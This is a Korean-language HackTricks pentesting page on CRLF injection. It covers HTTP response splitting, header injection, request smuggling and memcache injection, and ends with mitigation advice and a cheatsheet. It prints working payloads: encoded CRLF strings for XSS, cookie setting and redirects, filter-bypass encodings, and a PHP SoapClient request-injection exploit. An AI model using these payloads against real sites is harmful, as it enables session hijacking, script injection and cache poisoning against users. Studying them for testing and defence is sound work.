17 KiB
CRLF (%0D%0A) 삽입
htARTE (HackTricks AWS Red Team Expert)에서 AWS 해킹을 제로부터 전문가까지 배우세요!
HackTricks를 지원하는 다른 방법:
- 회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드하고 싶다면 구독 요금제를 확인하세요!
- 공식 PEASS & HackTricks 스왜그를 구매하세요
- The PEASS Family를 발견하세요, 당사의 독점 NFTs 컬렉션
- 💬 Discord 그룹에 가입하거나 텔레그램 그룹에 가입하거나 Twitter에서 @carlospolopm](https://twitter.com/hacktricks_live)**를 팔로우하세요.
- HackTricks 및 HackTricks Cloud github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
버그 바운티 팁: 해커들에 의해 만들어진 프리미엄 버그 바운티 플랫폼인 Intigriti에 가입하세요! https://go.intigriti.com/hacktricks에서 오늘 가입하고 최대 $100,000까지 보상을 받으세요!
{% embed url="https://go.intigriti.com/hacktricks" %}
CRLF
복귀(CR) 및 줄 바꿈(LF)은 HTTP 프로토콜에서 사용되는 특수 문자 시퀀스로, 한 줄의 끝이나 새로운 줄의 시작을 나타냅니다. 웹 서버와 브라우저는 HTTP 헤더와 응답 본문을 구분하기 위해 CRLF를 사용합니다. 이러한 문자는 Apache 및 Microsoft IIS와 같은 다양한 웹 서버 유형에서 HTTP/1.1 통신에서 보편적으로 사용됩니다.
CRLF 삽입 취약점
CRLF 삽입은 CR 및 LF 문자를 사용자 제공 입력에 삽입하는 것을 포함합니다. 이 작업은 서버, 응용 프로그램 또는 사용자를 속여 삽입된 시퀀스를 하나의 응답의 끝과 다른 응답의 시작으로 해석하게 합니다. 이러한 문자는 본질적으로 해로운 것은 아니지만, 오용될 경우 HTTP 응답 분할 및 기타 악의적인 활동으로 이어질 수 있습니다.
예: 로그 파일에서의 CRLF 삽입
관리자 패널의 로그 파일을 고려해보세요. 형식은 IP - 시간 - 방문 경로를 따릅니다. 일반적인 항목은 다음과 같을 수 있습니다:
123.123.123.123 - 08:15 - /index.php?page=home
공격자는 이 로그를 조작하기 위해 CRLF 삽입을 악용할 수 있습니다. HTTP 요청에 CRLF 문자를 삽입함으로써, 공격자는 출력 스트림을 변경하고 로그 항목을 조작할 수 있습니다. 예를 들어, 삽입된 시퀀스는 로그 항목을 다음과 같이 변형시킬 수 있습니다:
/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
여기서 %0d와 %0a는 CR과 LF의 URL 인코딩 된 형태를 나타냅니다. 공격 후 로그는 오도밍하게 표시됩니다:
IP - Time - Visited Path
123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
공격자는 악의적인 활동을 숨기기 위해 로컬호스트(일반적으로 서버 환경 내에서 신뢰할 수 있는 엔티티)가 동작한 것처럼 보이도록 합니다. 서버는 쿼리의 %0d%0a로 시작하는 부분을 단일 매개변수로 해석하고 restrictedaction 매개변수를 다른 별도의 입력으로 구문 분석합니다. 조작된 쿼리는 사실적인 관리 명령을 모방하게 됩니다: /index.php?page=home&restrictedaction=edit
HTTP 응답 분할
설명
HTTP 응답 분할은 공격자가 HTTP 응답 구조를 악용할 때 발생하는 보안 취약점입니다. 이 구조는 특정 문자 시퀀스, 캐리지 리턴(CR) 뒤에 라인 피드(LF)가 이어지는 CRLF로 헤더와 바디를 분리합니다. 공격자가 응답 헤더에 CRLF 시퀀스를 삽입하면 후속 응답 콘텐츠를 효과적으로 조작할 수 있습니다. 이러한 유형의 조작은 심각한 보안 문제, 특히 Cross-site Scripting (XSS)로 이어질 수 있습니다.
HTTP 응답 분할을 통한 XSS
- 애플리케이션이 다음과 같이 사용자 입력을 포함하는 사용자 정의 헤더를 설정합니다:
X-Custom-Header: UserInput - 애플리케이션이
UserInput의 값을 쿼리 매개변수에서 가져옵니다. 적절한 입력 유효성 검사와 인코딩이 부족한 상황에서 공격자는 CRLF 시퀀스를 포함한 악의적인 콘텐츠를 작성할 수 있습니다. - 공격자는 특별히 만들어진 'user_input'을 포함한 URL을 작성합니다:
?user_input=Value%0d%0a%0d%0a<script>alert('XSS')</script>
- 이 URL에서
%0d%0a%0d%0a는 CRLFCRLF의 URL 인코딩 형식입니다. 이는 서버가 CRLF 시퀀스를 삽입하도록 속이고, 서버가 후속 부분을 응답 본문으로 처리하게 합니다.
- 서버는 공격자의 입력을 응답 헤더에 반영하여 악의적인 스크립트가 브라우저에 의해 응답 본문의 일부로 해석되는 의도하지 않은 응답 구조로 이어집니다.
리디렉션으로 이어지는 HTTP 응답 분할의 예
브라우저로:
/%0d%0aLocation:%20http://myweb.com
서버는 다음과 같은 헤더로 응답합니다:
Location: http://myweb.com
다른 예시: (출처 https://www.acunetix.com/websitesecurity/crlf-injection/)
http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
URL 경로에서
서버의 응답을 제어하기 위해 URL 경로 안에 페이로드를 보낼 수 있습니다 (예시는 여기에서 확인):
http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
더 많은 예제를 확인하세요:
{% embed url="https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md" %}
HTTP 헤더 주입
HTTP 헤더 주입은 종종 CRLF (캐리지 리턴 및 줄 바꿈) 주입을 통해 악용되며, 공격자가 HTTP 헤더를 삽입할 수 있게 합니다. 이는 XSS (크로스 사이트 스크립팅) 필터 또는 SOP (동일 출처 정책)과 같은 보안 메커니즘을 약화시킬 수 있으며, 이로 인해 CSRF 토큰과 같은 민감한 데이터에 대한 무단 액세스 또는 쿠키 심기를 통한 사용자 세션 조작이 발생할 수 있습니다.
HTTP 헤더 주입을 통한 CORS 악용
공격자는 HTTP 헤더를 삽입하여 CORS (교차 출처 리소스 공유)를 활성화시킬 수 있으며, SOP에 의해 부과된 제한을 우회할 수 있습니다. 이 위반으로 인해 악의적 출처의 스크립트가 다른 출처의 리소스와 상호 작용하여 보호된 데이터에 액세스할 수 있게 됩니다.
SSRF 및 CRLF를 통한 HTTP 요청 주입
CRLF 주입은 완전히 새로운 HTTP 요청을 작성하고 삽입하는 데 사용될 수 있습니다. 이러한 취약점의 주요 예시 중 하나는 PHP의 SoapClient 클래스에서 발생하는데, 특히 user_agent 매개변수 내부에서 발생합니다. 이 매개변수를 조작함으로써, 공격자는 추가 헤더 및 본문 내용을 삽입하거나 새로운 HTTP 요청을 완전히 삽입할 수 있습니다. 아래는 이 악용을 보여주는 PHP 예시입니다:
$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
$crlf = array(
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
);
$client = new SoapClient(null,
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
);
# Put a netcat listener on port 9090
$client->__soapCall("test", []);
요청 스머글링을 위한 헤더 주입
이 기술과 잠재적인 문제에 대한 자세한 정보는 원본 소스를 확인하세요.
초기 요청에 응답한 후 백엔드가 연결을 열어 둔 상태를 유지하도록 필수 헤더를 주입할 수 있습니다.
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1
이후에 두 번째 요청을 지정할 수 있습니다. 이 시나리오는 일반적으로 HTTP 요청 스머글링을 포함하며, 서버가 삽입 후 추가 헤더나 본문 요소를 추가하는 기술로 다양한 보안 취약점으로 이어질 수 있는 기술입니다.
Exploitation:
- 악의적인 접두사 삽입: 이 방법은 다음 사용자의 요청이나 웹 캐시를 독점하는 것을 포함합니다. 이는 악의적인 접두사를 지정함으로써 이루어집니다. 예시:
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1
- 응답 큐 독점을 위한 접두사 작성: 이 방법은 완전한 두 번째 요청을 형성하는 데 사용되는 접두사를 생성하는 것을 포함합니다. 이는 응답 큐 독점을 유발할 수 있습니다. 예시:
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1
Memcache Injection
Memcache는 명확한 텍스트 프로토콜을 사용하는 키-값 저장소입니다. 자세한 정보는 다음에서 확인할 수 있습니다:
{% content-ref url="../network-services-pentesting/11211-memcache/" %} 11211-memcache {% endcontent-ref %}
전체 정보는 원본 설명서 를 참조하십시오.
플랫폼이 HTTP 요청에서 데이터를 가져와 살균 처리하지 않고 memcache 서버로 요청을 수행하는 경우, 공격자는 이 동작을 악용하여 새로운 memcache 명령을 삽입할 수 있습니다.
예를 들어, 원본에서 발견된 취약점에서 캐시 키가 사용되어 사용자가 연결해야 하는 IP 및 포트를 반환하고, 공격자는 캐시를 독점하여 피해자의 세부 정보 (사용자 이름 및 비밀번호 포함)를 공격자 서버로 보내는 memcache 명령을 삽입할 수 있었습니다.
또한, 연구원들은 memcache 응답을 비동기화하여 공격자가 모르는 사용자에게 공격자의 IP 및 포트를 보내는 것을 발견했습니다:
웹 애플리케이션에서 CRLF / HTTP 헤더 삽입 방지 방법
웹 애플리케이션에서 CRLF (캐리지 리턴 및 줄 바꿈) 또는 HTTP 헤더 삽입의 위험을 줄이기 위해 다음 전략을 권장합니다:
- 응답 헤더에 직접 사용자 입력 피하기: 가장 안전한 방법은 사용자가 제공한 입력을 직접 응답 헤더에 포함시키지 않는 것입니다.
- 특수 문자 인코딩: 직접 사용자 입력을 피하는 것이 불가능한 경우, 캐리지 리턴 (CR) 및 줄 바꿈 (LF)과 같은 특수 문자를 인코딩하는 데 전용 함수를 사용하십시오. 이러한 방법을 사용하면 CRLF 삽입 가능성을 방지할 수 있습니다.
- 프로그래밍 언어 업데이트: 웹 애플리케이션에서 사용하는 프로그래밍 언어를 정기적으로 최신 버전으로 업데이트하십시오. HTTP 헤더를 설정하는 함수 내에서 CR 및 LF 문자의 삽입을 기본적으로 금지하는 버전을 선택하십시오.
CHEATSHEET
1. HTTP Response Splitting
• /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)
2. CRLF chained with Open Redirect
• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
• /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
• /google.com/%2F..%0D%0AHeader-Test:test2
• /%0d%0aLocation:%20http://example.com
3. CRLF Injection to XSS
• /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
• /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
4. Filter Bypass
• %E5%98%8A = %0A = \u560a
• %E5%98%8D = %0D = \u560d
• %E5%98%BE = %3E = \u563e (>)
• %E5%98%BC = %3C = \u563c (<)
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test
자동 도구
브루트포스 탐지 목록
참고 자료
- https://www.invicti.com/blog/web-security/crlf-http-header/
- https://www.acunetix.com/websitesecurity/crlf-injection/
- https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning
- https://www.netsparker.com/blog/web-security/crlf-http-header/
버그 바운티 팁: Intigriti에 가입하여 해커들이 만든 프리미엄 버그 바운티 플랫폼에 참여하세요! https://go.intigriti.com/hacktricks에서 오늘 가입하고 최대 $100,000의 바운티를 받아보세요!
{% embed url="https://go.intigriti.com/hacktricks" %}
제로부터 AWS 해킹을 전문가로 배우세요 htARTE (HackTricks AWS Red Team Expert)와 함께!
HackTricks를 지원하는 다른 방법:
- 회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드하려면 구독 요금제를 확인하세요!
- 공식 PEASS & HackTricks 스왜그를 구매하세요
- The PEASS Family를 발견하세요, 당사의 독점 NFTs 컬렉션
- 💬 디스코드 그룹 또는 텔레그램 그룹에 가입하거나 트위터 🐦 @carlospolopm를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.